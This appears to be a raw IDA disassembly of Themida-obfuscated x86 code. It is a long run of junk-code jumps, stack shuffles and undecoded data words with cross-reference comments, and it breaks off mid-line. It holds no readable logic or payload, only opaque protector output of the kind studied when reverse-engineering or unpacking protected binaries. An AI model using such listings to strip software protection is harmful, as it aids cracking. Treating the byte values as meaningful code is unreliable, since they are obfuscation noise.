loc_548418: ; CODE XREF: Themida_:00547A6Cj push ecx mov ch, 0A8h jmp loc_548F37 ; --------------------------------------------------------------------------- dd 2A3E952h, 685C0000h, 66B8h, 0E9241C89h, 7824h, 0E2C0D2F6h dd 0E9D2F605h, 0FFFFF9ABh ; --------------------------------------------------------------------------- loc_548440: ; CODE XREF: Themida_:0054C5EEj push dx jmp loc_54EAB8 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 24048704h, 240CD25Ch, 0BBC8E99Ch, 8B66FFFFh dd 54522404h, 0FFF84EE9h, 0D830ACFFh, 6C7A6866h, 240C8966h dd 0E980ECB1h, 90EE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54847A: ; CODE XREF: Themida_:0054A5BEj sub esi, ebx pop ebx or edi, esi pop esi sub edi, 5BA42BE6h sub edx, edi jmp loc_54B4E2 ; --------------------------------------------------------------------------- db 29h, 0D8h, 5Bh dd 4055Bh, 4870000h, 0F876E924h, 0E959FFFFh, 0FFFFBEDEh ; --------------------------------------------------------------------------- loc_5484A4: ; CODE XREF: Themida_:00549867j or eax, eax jz loc_545B16 sub esp, 4 mov [esp], ecx mov ecx, 28h jmp loc_54B67F ; --------------------------------------------------------------------------- loc_5484BF: ; CODE XREF: Themida_:0054D078j mov ecx, eax pop eax add edx, ecx mov ecx, [esp] add esp, 4 push dword ptr [edx] jmp loc_544995 ; --------------------------------------------------------------------------- dd 0FFBB49E9h, 0E38953FFh, 4BD55h, 0EB010000h, 0D103E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5484EA: ; CODE XREF: Themida_:005493B5j push dword ptr [edi+eax*4] mov eax, [esp] sub esp, 4 mov [esp], edi jmp loc_547B1E ; --------------------------------------------------------------------------- db 81h dd 42404h, 34FF0000h, 0ACE95F24h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54850B: ; CODE XREF: Themida_:0054DD19j sub edi, ecx mov ecx, [esp] push ebp jmp loc_5496FA ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 717DC281h, 0C201199Dh, 717DBE56h, 0EDE9199Dh dd 0B8FFFFC4h, 2, 8758C301h, 67E9241Ch, 5BFFFFDEh, 0D028C004h dd 34FFC02Ch, 40E95A24h, 83FFFFC3h, 1C8704C3h, 0FB7BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54855A: ; CODE XREF: Themida_:005446C9j pop eax xchg edi, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_5445D0 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0BD52CCBDh, 0BD09E924h, 0B050FFFFh, 0FEBF0C36h, 178AE9C8h dd 0D72D0000h, 0E91A0B0Eh, 7020h, 5AD3295Fh, 5A2CE381h dd 0E381072Dh, 30AC19E5h, 0C5B95143h, 12B3C32h, 0EC8359CBh dd 240C8904h, 0FFC4C9E9h, 2CF781FFh, 0C1732B5Fh, 0F78105E7h dd 4FBD26A0h, 2D4BCF81h, 0E9520673h, 5914h, 2206BD55h dd 0EF015D77h, 53F5E9h, 81D1F700h, 0D37312E9h, 0B8E98102h dd 1A0D33Eh, 1C8759CBh, 0C4835C24h, 0FB9E904h, 0FF660000h dd 0BA24E932h, 0E089FFFFh, 405h, 2BE5600h, 2D000000h, 13B852D4h dd 0D405F001h, 0E913B852h, 788Eh ; --------------------------------------------------------------------------- loc_54861C: ; CODE XREF: Themida_:0054BF30j push 4913h jmp loc_54788E ; --------------------------------------------------------------------------- dw 0AD68h dd 0E900000Eh, 0FFFFC10Ch ; --------------------------------------------------------------------------- loc_548630: ; CODE XREF: Themida_:005459ACj add esp, 4 push dword ptr [esp] mov eax, [esp] push edi mov edi, esp jmp loc_548B0D ; --------------------------------------------------------------------------- a1R db '\1ĂRş,',0 align 4 dd 0E9FA0100h, 5945h, 79E95653h, 0B900006Fh, 22B37D1h dd 835FF901h, 0FEE904ECh, 89FFFFFEh, 0D23EE9E3h, 0EE81FFFFh dd 7DA81641h, 0ACBF575Dh, 0E922023Eh, 0FFFFF9F6h, 9D1C77FFh dd 24041158h, 0B990E99Ch, 248BFFFFh, 0C896624h, 0B60F6624h dd 9C5166C8h, 0FFB97DE9h, 4BBFFh, 0DCE90000h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486AF: ; CODE XREF: Themida_:0054830Cj mov ecx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push edx push esi push ecx mov ecx, 3309079Ch mov esi, ecx jmp loc_549744 ; --------------------------------------------------------------------------- db 0B6h, 37h, 0B5h dd 5AF528A6h, 0D6A8E953h, 0D3F7FFFFh, 3396CB81h, 0BD553CBBh dd 0C78F43ADh, 895DEB29h, 0EED15BDEh, 0CC1CE81h, 0CE816250h dd 68EF49A6h, 0F681DEF7h, 38005BC1h, 33BCC681h, 0F0015CF9h dd 1F30815Eh, 8B102800h, 0C4832404h, 9DB95104h, 0C1033B62h dd 0C8E905E9h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_54E00B ; --------------------------------------------------------------------------- dd 0FC3305Ah, 8F66C0B6h, 0E7E98704h, 53FFFFB8h, 9178D4BBh dd 5BDD8967h, 1C8BDD31h, 4C48124h, 0E9000000h, 0FFFFFC70h dd 0E9240C8Bh, 1C3Ch, 2C28358h, 0E9241433h, 0FFFFCF91h ; --------------------------------------------------------------------------- loc_548768: ; CODE XREF: Themida_:0054D3A1j mov ecx, 16D70F7Bh shr ecx, 2 jmp loc_544D61 ; --------------------------------------------------------------------------- db 4, 65h, 4 aCSO db 'C(ĐéŐo',0 align 10h dd 659CE981h, 0CA010523h, 0FF2434FFh, 50592434h, 405E089h dd 0E9000000h, 324Fh, 51241489h, 92B2CAB1h, 0C280DAF6h dd 0FED2F601h, 78CA80C2h, 300EC280h, 240C8BCAh, 5E08950h dd 4, 405h, 6F46E900h, 0D7010000h, 81F7295Ah, 0EF4194EFh dd 0F8015E51h, 6CF5E9h, 74BF5700h, 0F77DD610h, 34C781D7h dd 0C12F105Bh, 814706E7h, 98FB2BF7h, 8BF82917h, 0C483243Ch dd 68E80104h, 13BFh, 0B9240C89h, 9206E54h, 0FFC366E9h dd 0D8F740FFh, 0CC435F05h, 0A8723515h, 0C7016617h, 6ABBE9h dd 34B95100h, 0E931811Ah, 0FFFFF2C8h, 7DBEF681h, 0F0011526h dd 8324348Bh, 7C0504C4h, 56790061h, 794BE2BEh, 8EC6815Ch dd 536EFC1Dh, 3DBDBF57h, 8B5717E8h, 0C481241Ch, 4, 8BDE095Fh dd 0C481241Ch, 4, 0FFF675E9h, 74FF53FFh, 0E95B0424h, 66Bh ; --------------------------------------------------------------------------- loc_54887C: ; CODE XREF: Themida_:0054AD02j pop eax add esp, 4 pop dword ptr [esp] push dword ptr [esp] jmp loc_545AE2 ; --------------------------------------------------------------------------- loc_54888B: ; CODE XREF: Themida_:00545B23j pop esp mov [esp], ebx push ebx mov ebx, 3C337758h jmp loc_54CD75 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704EA83h, 0E95C2414h, 19CBh, 1245430h, 6FDFE9h dd 0E3C98100h, 0E93DA660h, 65D8h, 4C481h, 0EB800000h, 51C300B0h dd 0C5E9DAB1h, 81000023h, 4C4h, 7287E900h, 4330000h, 0B04E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5488E6: ; CODE XREF: Themida_:00547BFFj neg ebp add ebp, 4CD13C00h add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] jmp loc_54DC45 ; --------------------------------------------------------------------------- db 0F6h, 0DDh, 0E9h dd 0FFFFD1C1h, 24048B66h, 8904EC83h, 8B54241Ch, 5457241Ch dd 4C7815Fh, 81000000h, 4C7h, 243C8700h, 5BA4E9h, 94EA8100h dd 2949F2C4h, 0F0295AD0h, 0A170CA05h, 24348B79h, 4833E9h db 0 ; --------------------------------------------------------------------------- loc_548945: ; CODE XREF: Themida_:0054E972j add [esp+4], edi sub dword ptr [esp+4], 14BA506Ah sub dword ptr [esp+4], 436E2128h add dword ptr [esp+4], 66DD24EEh push edx mov edx, 5BBF30F5h add [esp+8], edx jmp loc_54660B ; --------------------------------------------------------------------------- dd 0B6E9E389h, 50000016h, 387B2C68h, 0D8055853h, 0E9ACC784h dd 0FFFFCBF5h ; --------------------------------------------------------------------------- loc_548988: ; CODE XREF: Themida_:00544D04j add ebp, esi sub ebp, 6C421703h jmp loc_548A07 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aS_ db '$é&.',0 align 2 dw 0FCB8h dd 5702CA21h, 0FFFFFFBFh, 4EC83FFh, 0E9241489h, 0FFFFFA19h dd 12A4BF57h, 0DEBD4B2Ah, 0E9719184h, 0FFFFB91Bh ; --------------------------------------------------------------------------- loc_5489C4: ; CODE XREF: Themida_:0054BF1Aj sub edi, 7DCF193Eh pop esi sub edi, edx jmp loc_54DA8B ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFFE7F4h, 0FF241C89h, 5B042474h, 0E924048Fh, 5DCDh dd 7D7E1BBFh, 0E7814721h, 3A84773Ah, 761AF781h, 0FB012004h dd 83243C8Bh, 0FCE904C4h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A07: ; CODE XREF: Themida_:00548990j pop esi sub esp, 4 mov [esp], eax mov eax, 4 add ebp, 6903234Fh add ebp, eax sub ebp, 6903234Fh pop eax jmp loc_54BA93 ; --------------------------------------------------------------------------- loc_548A2A: ; CODE XREF: Themida_:005444DDj add esp, 4 pop ecx push ecx mov ch, 92h neg ch not ch jmp loc_54AE96 ; --------------------------------------------------------------------------- dw 0E789h dd 1DF9BA52h, 0F6E900A5h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A47: ; CODE XREF: Themida_:005447DCj mov eax, 708A5465h push ebp jmp loc_54EB52 ; --------------------------------------------------------------------------- dw 0DC68h dd 5A440B1Ch, 0E328C281h, 0D389BBF4h, 5024148Bh, 405E089h dd 0E9000000h, 0FFFFEB5Eh, 305EC981h, 0E94966F1h, 0FFFFB5E1h dd 0B408E3BDh, 0E089500Dh, 405h, 42D00h, 4870000h, 2C895C24h dd 24048124h, 7DA81641h, 0FBD0E95Eh, 0EF81FFFFh, 5D772206h dd 1DE9EF29h, 33FFFFFBh, 2C31242Ch, 5B7FE924h, 0A1680000h dd 0E900007Bh, 38F1h, 42474FFh, 6DA2E95Bh, 74FF0000h, 8F580424h dd 5EE92404h, 5A00001Ah, 8704E983h, 0E95C240Ch, 52A1h ; --------------------------------------------------------------------------- loc_548AE8: ; CODE XREF: Themida_:0054C861j sub esi, eax pop eax xchg esi, [esp] pop esp mov [esp], esi mov esi, 4 jmp loc_54E173 ; --------------------------------------------------------------------------- loc_548AFC: ; CODE XREF: Themida_:0054D28Aj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_545591 ; --------------------------------------------------------------------------- loc_548B0D: ; CODE XREF: Themida_:0054863Fj add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push ebx jmp loc_54FFF1 ; --------------------------------------------------------------------------- dd 0C8E95251h, 83FFFFCDh, 1C8904ECh, 685B5424h, 1C63h dd 0BD242C89h, 4B024598h, 55D9CD81h, 64E9168Ah, 5EFFFFEDh dd 854BF781h, 0FB8939A6h, 0FFD20BE9h, 2E981FFh, 0E9000000h dd 59C6h, 4C18159h, 0E9000000h, 678Eh, 0EDE95451h, 89FFFFFFh dd 78E92414h, 0E9000031h, 0FFFFB48Ah, 5606E3C1h, 501F61BEh dd 21C6813Bh, 12A67E4h, 0BE95EF3h, 0E9FFFFE8h, 0FFFFB46Eh dd 45B7E950h, 0C3890000h, 0E9D82958h, 0FFFFD797h, 8B2434FFh dd 0C4832404h, 0BFE3E904h, 8B66FFFFh, 0EC812404h, 4, 54243489h dd 2D6BE9h, 6DE95F00h, 5F000039h, 0E924048Fh, 0FFFFE719h ; --------------------------------------------------------------------------- loc_548BF4: ; CODE XREF: Themida_:00548D62j or eax, eax jz loc_546396 push dword ptr [edi+1Ch] jmp loc_545B6C ; --------------------------------------------------------------------------- dd 582434FFh, 0E9E08950h, 0FFFFEDD1h, 28D7C580h, 0D7ED80C5h dd 0E9E80058h, 0FFFFF5A2h, 0FFB3FDE9h, 51E955FFh, 56FFFFFEh dd 0C5B49E68h, 49E95E85h, 1FFFFC6h, 4042E9DAh, 3B660000h dd 0DBE99CC8h, 2DFFFFB3h, 0F7DAF12Ch, 158C789h, 348B5FF8h dd 4C48324h, 1E0DE9h, 1C77FF00h, 6659669Dh, 9C2414D3h dd 0FFB3B5E9h, 7E3C1FFh, 3B61BA52h, 0D3210BD3h, 67E3815Ah dd 812E5F21h, 6F28ADC3h, 5BDF3117h, 7913BA52h, 0F2811F1Eh dd 25E1729Ah, 5A67F281h, 0D731DF26h, 8BFD295Ah, 8952243Ch dd 4C281E2h, 0E9000000h, 19FAh, 4C381h, 0EB810000h, 4 dd 5C241C87h, 52241C89h, 5077F3BAh, 8BD38945h, 0C4812414h dd 4, 25F1E953h, 92B80000h, 0E947F458h, 20F6h ; --------------------------------------------------------------------------- loc_548CE4: ; CODE XREF: Themida_:005500A0j mov ebp, 70144186h jmp loc_54DA65 ; --------------------------------------------------------------------------- dw 0E950h dd 1D0Bh, 0E9028F66h, 0FFFFB326h ; --------------------------------------------------------------------------- loc_548CFC: ; CODE XREF: Themida_:00546C06j pop edx mov edx, eax push dword ptr [esp] push dword ptr [esp] jmp loc_54F78A ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 65E1E9h, 7DEEBE00h, 0EEC14F82h, 2988E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548D22: ; CODE XREF: Themida_:0054DAFBj add eax, edx mov [eax], ecx pop eax jmp loc_54CCA8 ; --------------------------------------------------------------------------- loc_548D2C: ; CODE XREF: Themida_:0054CD03j mov eax, [esp] add esp, 4 push ecx mov ecx, esp push edx mov edx, 4BA54A89h jmp loc_545ABE ; --------------------------------------------------------------------------- loc_548D43: ; CODE XREF: Themida_:0054F57Ej pop edx jmp loc_5492AE ; --------------------------------------------------------------------------- align 2 dw 58C3h dd 0F968C328h, 0E9000078h, 2AA5h ; --------------------------------------------------------------------------- loc_548D58: ; CODE XREF: Themida_:0054D0EAj add esi, 4 xchg esi, [esp] pop esp jmp loc_548BF4 ; --------------------------------------------------------------------------- db 81h dd 0C09CEC6h, 0E9F289C0h, 0EFAh, 0F38876B6h, 0EC81505Ah dd 4, 0E9240C89h, 0FFFFDAECh, 0D2F6D186h, 0FFE784E9h, 665DB4FFh dd 80E9B151h, 0D9F6EFF1h, 0E9FEF180h, 0FFFFD76Bh ; --------------------------------------------------------------------------- loc_548DA4: ; CODE XREF: Themida_:0054D237j sub ebx, ebp pop ebp mov eax, ebx pop ebx sub edi, eax mov eax, [esp] add esp, 4 inc edi not edi sub edi, 75115306h xor edi, 2C2F57BBh sub ecx, edi pop edi push esi jmp loc_549240 ; --------------------------------------------------------------------------- db 29h, 0C8h, 59h dd 0FFFE56E9h, 5EF331FFh, 959E9h, 70E95300h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548DE3: ; CODE XREF: Themida_:00546A23j push ecx mov ecx, esp jmp loc_54F664 ; --------------------------------------------------------------------------- db 5Bh dd 3B21C381h, 7E92638h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DF7: ; CODE XREF: Themida_:0054A8E1j pop eax pop ebx jmp loc_547A49 ; --------------------------------------------------------------------------- loc_548DFE: ; CODE XREF: Themida_:0054DBBAj add eax, 35173F81h push esi jmp loc_54D04A ; --------------------------------------------------------------------------- loc_548E09: ; CODE XREF: Themida_:0054BC14j mov eax, [esp] add esp, 4 push edi mov edi, 4F505884h push esi jmp loc_549326 ; --------------------------------------------------------------------------- loc_548E1B: ; CODE XREF: Themida_:0054F438j pop edi sub edi, 3DCA171Fh mov eax, [esp] add esp, 4 push edx mov edx, 13982458h or edx, 5DA31F6Eh jmp loc_54D7A4 ; --------------------------------------------------------------------------- db 0FEh, 0CFh, 80h dd 0F78049EFh, 5BF80065h, 0FFFDC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_548E49: ; CODE XREF: Themida_:0054DF6Fj push 611D14EFh pop ecx add ecx, 0E96C6463h push ecx pop edx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54CF95 ; --------------------------------------------------------------------------- loc_548E6B: ; CODE XREF: Themida_:0054AFF6j mov ebp, esp jmp loc_546CEE ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFC23Bh, 0A9112EB9h, 3E94977h, 5900000Ah, 63E9C788h dd 81FFFFC6h, 0DE7857C1h, 65C98113h, 8103C108h, 2C5285C1h dd 59CB01B0h, 0FFF24DE9h, 0B178E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548EAA: ; CODE XREF: Themida_:0054F286j add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_550019 ; --------------------------------------------------------------------------- aSI db ')Âé¸I',0 dw 8700h dd 0E95C2434h, 0FFFFCA8Fh ; --------------------------------------------------------------------------- loc_548EC8: ; CODE XREF: Themida_:00545ED0j sub ebp, 4 xchg ebp, [esp] jmp loc_544055 ; --------------------------------------------------------------------------- loc_548ED6: ; CODE XREF: Themida_:0054480Cj xchg ebp, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- db 8Fh dd 835C2404h, 0C90904C4h, 0F81F840Fh, 0EC81FFFFh, 4, 0E0ECE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F02: ; CODE XREF: Themida_:00549E11j mov esp, [esp] jmp loc_54540F ; --------------------------------------------------------------------------- loc_548F0A: ; CODE XREF: Themida_:0054E539j add esp, 4 pop dword ptr [esp] jmp loc_54FE78 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 83000000h, 3C3304C7h, 243C3124h, 0FFF4BCE9h, 58C689FFh dd 7E58EE81h, 94E92F63h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F37: ; CODE XREF: Themida_:0054841Bj add ch, 92h jmp loc_5498C2 ; --------------------------------------------------------------------------- db 0B8h dd 7F49241Ch, 0E6E9C589h, 81000034h, 723D36C5h, 1548E97Ah dd 0E9560000h, 6F86h, 8759C801h, 805C2404h, 0B46801E9h dd 89000004h, 59B62414h, 805AF120h, 0F180D0E9h, 59C828A4h dd 49C380h, 1FFF68C3h, 0A9E90000h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F8B: ; CODE XREF: Themida_:00549097j push ecx jmp loc_54E6DC ; --------------------------------------------------------------------------- db 0ACh, 81h, 0ECh dd 4, 365CE9h, 4A896800h, 0E95F4C8Ah, 4147h, 4C481h, 6C010000h dd 2C8B0424h, 4C48324h, 61DCE9h, 24148900h, 0E7429BAh dd 3F7BB827h, 0D0314719h, 8324148Bh, 0E95104C4h, 2792h dd 6C03BE56h, 0F701486Fh, 0FFFB7AE9h, 0BDE95CFFh, 0BDFFFFDEh dd 0C2D58636h, 295DEB29h, 0D8295BD8h, 21CDE9h, 5FFA0100h dd 4C281h, 0FF520000h, 5A042474h, 5C24048Fh, 0FF2434FFh dd 83582434h, 895104C4h, 0A5BD55E1h, 45390359h, 0FC68DDF7h dd 8900006Ah, 18BA2414h, 95FF922h, 0ED815AD5h, 0DFFDA656h dd 0DDE9E901h, 81000068h, 4C4h, 5C776800h, 14890000h, 44D4E924h dd 0E5C00000h, 2BB05005h, 0C07BB753h, 0D2E903EFh db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549067: ; CODE XREF: Themida_:0054F79Aj mov edx, [esp] jmp loc_54580B ; --------------------------------------------------------------------------- db 5Dh dd 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 8956F1F7h dd 4AE951E6h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54908B: ; CODE XREF: Themida_:0054B6A5j pop esp neg ebp sub esp, 4 mov [esp], eax jmp loc_548F8B ; --------------------------------------------------------------------------- dd 34F0C381h, 0CB012FF1h, 34F0EB81h, 87592FF1h, 248B241Ch dd 0E7895724h, 6046E9h, 4C48100h, 56000000h, 0FFF8B2E9h dd 0B2EEB5FFh, 0E9EA28B4h, 0FFFFB96Dh ; --------------------------------------------------------------------------- loc_5490D0: ; CODE XREF: Themida_:00544A75j pop ebp and ebx, 73D90926h jmp loc_54B2EB ; --------------------------------------------------------------------------- dd 0FFAF41E9h db 0FFh ; --------------------------------------------------------------------------- loc_5490E1: ; CODE XREF: Themida_:005455A7j add dword ptr [esp], 2B0B7FA6h jmp loc_544022 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 1Dh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490F3: ; CODE XREF: Themida_:00544A5Ej and edi, 3C2414EFh xor edi, 2820FB75h and eax, edi pop edi or eax, eax jnz loc_54C9ED push ecx mov ecx, 67B27D81h jmp loc_54E015 ; --------------------------------------------------------------------------- db 0BDh, 1Ah, 46h dd 0E8015884h, 0FFE9E2E9h, 0C1665DFFh, 816604E6h, 66466CEEh dd 699AC681h, 5EF50166h, 41FBE9h, 0BD555300h, 7C95201Dh dd 815DEB89h, 8039CEEBh, 4E3C17Ch, 7F2EF381h, 0D92109A1h dd 7E9C15Bh, 0FFB742E9h db 0FFh ; --------------------------------------------------------------------------- loc_54915D: ; CODE XREF: Themida_:00544CDDj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, 25771392h inc ebp neg ebp xor ebp, 6DBC754Fh shl ebp, 3 jmp loc_54B91B ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 0FFFFAE9Eh, 240C8B66h, 57E38953h, 0DD4AD7BFh, 0E6F78146h dd 0E947997Ah, 51F7h, 8158C729h, 0B2056AEFh, 4EF814Ch dd 2906E55Dh, 0D683E9CFh, 34FFFFFFh, 26E95824h, 66000026h dd 0F587665Dh, 66CE8766h, 5666D1F7h, 0FFCB8FE9h, 5AD301FFh dd 4BF57h, 0FB010000h, 1072E95Fh, 4E580000h, 0FFEA5BE9h dd 2BDFFh, 0EB010000h, 5D2434FFh, 4C481h, 0FF530000h, 5B042474h dd 5C24048Fh, 9C240CFEh, 0FFAE19E9h, 80C300FFh, 0C380C8EBh dd 0B050660Eh, 0EB77E975h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54921A: ; CODE XREF: Themida_:0054B9D8j mov edx, 0F209F319h jmp loc_54490B ; --------------------------------------------------------------------------- dd 2859F780h, 0EC805BFCh, 58E28835h, 0E9535066h, 11D2h ; --------------------------------------------------------------------------- loc_549238: ; CODE XREF: Themida_:0054D8C7j mov edx, [esp] jmp loc_54D426 ; --------------------------------------------------------------------------- loc_549240: ; CODE XREF: Themida_:00548DC8j mov esi, 0 sub esi, ecx push ebp mov ebp, esi mov ecx, ebp pop ebp pop esi add ecx, 3643566Bh sub ecx, 82149475h jmp loc_549788 ; --------------------------------------------------------------------------- db 5Eh dd 34FFCD01h, 0C4835924h, 74FF5504h, 2C8B0424h, 2CE95324h dd 83FFFFE9h, 2C8904ECh, 1596E924h, 0DABD0000h, 8120E26Dh dd 2C31D2F5h, 35ED814Eh, 811B430Eh, 582EA6E5h, 0A7F5813Bh dd 0F7686F1Eh, 5BED81D5h, 29455CC7h, 4D99E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5492AE: ; CODE XREF: Themida_:00548D44j xor ecx, 6CB57E0Dh push esi mov esi, 5F821162h neg esi dec esi jmp loc_546474 ; --------------------------------------------------------------------------- dw 5450h dd 8324048Bh, 40504C4h, 57000000h, 0F5E9E789h, 8B000003h dd 36E92424h, 66FFFFFCh, 0E9816649h, 3166AD3Bh, 816659CEh dd 0E96E7CC6h, 38BCh ; --------------------------------------------------------------------------- loc_5492F4: ; CODE XREF: Themida_:00544711j xor bh, 31h jmp loc_545877 ; --------------------------------------------------------------------------- loc_5492FC: ; CODE XREF: Themida_:0054D82Ej add edi, 4 push esi push ebx push 630F1A69h pop ebx xor ebx, 630F1A6Dh mov esi, ebx pop ebx add edi, esi pop esi xor edi, [esp] jmp $+5 xor [esp], edi jmp loc_549861 ; --------------------------------------------------------------------------- loc_549326: ; CODE XREF: Themida_:00548E16j push 74A6h jmp loc_54FFFB ; --------------------------------------------------------------------------- dd 0EBBD5559h, 0E9FFE624h, 549Ah, 815EF709h, 148027C7h dd 0FCB3E980h, 4C01FFFFh, 44810424h, 6EFC0424h, 0E0E96F9Ah db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54935B: ; CODE XREF: Themida_:0054E29Aj add ebp, 47D156BBh add ebp, eax sub ebp, 47D156BBh sub ebp, 37D561A7h jmp loc_5482E9 ; --------------------------------------------------------------------------- dd 0FFACA9E9h, 80EB81FFh, 16C346Dh, 0D16FE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549386: ; CODE XREF: Themida_:0054F25Bj mov [esp], edx mov edx, 11C1373Dh jmp loc_546526 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E58EE900h, 0E780FFFFh, 0FE7EE947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5493A6: ; CODE XREF: Themida_:00545707j xor eax, [esp] mov esp, [esp] jmp loc_54D603 ; --------------------------------------------------------------------------- loc_5493B1: ; CODE XREF: Themida_:0054EF64j pop esp movzx eax, al jmp loc_5484EA ; --------------------------------------------------------------------------- loc_5493BA: ; CODE XREF: Themida_:005473AAj add ecx, 0BBFADC5Ah add ebp, ecx pop ecx jmp loc_545537 ; --------------------------------------------------------------------------- dd 15EF529h, 0C61FE9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5493D2: ; CODE XREF: Themida_:005479CEj pop edi mov ebx, edx jmp loc_5442BE ; --------------------------------------------------------------------------- dw 0C781h dd 4, 5468h, 4CE5E900h, 895C0000h, 368241Ch, 89000066h dd 4832424h, 815B0424h, 4C3h, 4BF5700h, 1000000h, 243C8BFBh dd 8304C483h, 1C8904ECh, 2474FF24h, 48F5B04h, 4095C24h dd 0FBE99C24h, 89FFFFABh, 58542404h, 4140E953h, 68550000h dd 6AD068A0h, 0E9EF015Dh, 5131h, 2BAh, 0BD16E900h, 5E54FFFFh dd 0FFD7E3E9h, 0E9CA89FFh, 0FFFFD5D0h ; --------------------------------------------------------------------------- loc_549458: ; CODE XREF: Themida_:0054DB4Ej add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 53AC64D7h or ebp, 83300EAh not ebp neg ebp xor ebp, 5BA15F52h jmp loc_54412A ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 40D4BE24h, 0EE81322Fh, 496D4885h dd 7FE2E681h, 0DEF7147Dh, 6564E681h, 0C68152A4h, 0AD5BFADEh dd 348BF001h, 4C48324h, 31240433h, 97E92404h, 87FFFFBEh dd 0DDE92414h, 56000003h, 0C681E689h, 4, 4BF57h, 0FE010000h dd 2434875Fh, 3925E9h, 241C8900h, 0B45040B3h, 88F480B7h dd 0E8E9E330h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5494EF: ; CODE XREF: Themida_:0054BAD2j add ecx, ebx pop ebx xor ecx, 0A0D6C1B1h add edx, ecx pop ecx add edx, esi sub edx, 546A7F30h pop esi push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] jmp loc_547605 ; --------------------------------------------------------------------------- loc_549518: ; CODE XREF: Themida_:00545E80j mov esi, 4 add ecx, esi mov esi, [esp] add esp, 4 jmp loc_545698 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324048Bh, 79E904C4h, 1FFFFF6h, 27E957C3h, 5B000047h dd 34FFD000h, 89505A24h, 405E0h, 28E90000h, 30000038h dd 2EC81D8h, 66000000h, 0E9240C89h, 1AC6h, 5C241487h, 0FFD7C3E9h dd 0E99F2CFFh, 0FFFFB22Fh, 0BD55E289h, 3E0D70CCh, 0C102E5C1h dd 0DFE906EDh db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54958B: ; CODE XREF: Themida_:0054FA0Ej add esi, 19963B8Eh mov ecx, [esp] add esp, 4 mov eax, esi pop esi sub esp, 4 jmp loc_54CB7F ; --------------------------------------------------------------------------- loc_5495A2: ; CODE XREF: Themida_:0054FE59j mov edx, 4 sub edi, edx pop edx jmp loc_54B9B3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFAA6Eh ; --------------------------------------------------------------------------- loc_5495B4: ; CODE XREF: Themida_:00545BD4j sub dl, 3Fh jmp loc_54AA25 ; --------------------------------------------------------------------------- loc_5495BC: ; CODE XREF: Themida_:0054D23Fj and eax, ecx pop ecx or edx, eax jmp loc_54E37C ; --------------------------------------------------------------------------- dw 3C33h dd 243C3124h, 5C243C33h, 5C242C87h, 24048B66h, 81E78957h dd 4C7h, 4E0E6800h, 34890000h, 68505224h, 3C8A1F61h, 0F7579758h dd 975F2414h, 0E09F3548h, 0C289C375h, 8124048Bh, 4C4h dd 8BD68900h, 0C4832414h, 5EF70104h, 2474FF57h, 48F5F04h dd 24248B24h, 66E9F766h, 664C7E68h, 66241489h, 42E99C50h dd 81FFFFD7h, 4C5h, 242C3300h, 0FFE0E1E9h, 0E9D1F7FFh dd 54CEh ; --------------------------------------------------------------------------- loc_549648: ; CODE XREF: Themida_:00545E4Bj jz loc_54C9ED push dword ptr [edi+28h] push dword ptr [esp] pop eax push edx mov edx, esp push ebp jmp loc_547D4B ; --------------------------------------------------------------------------- aSiusJ db 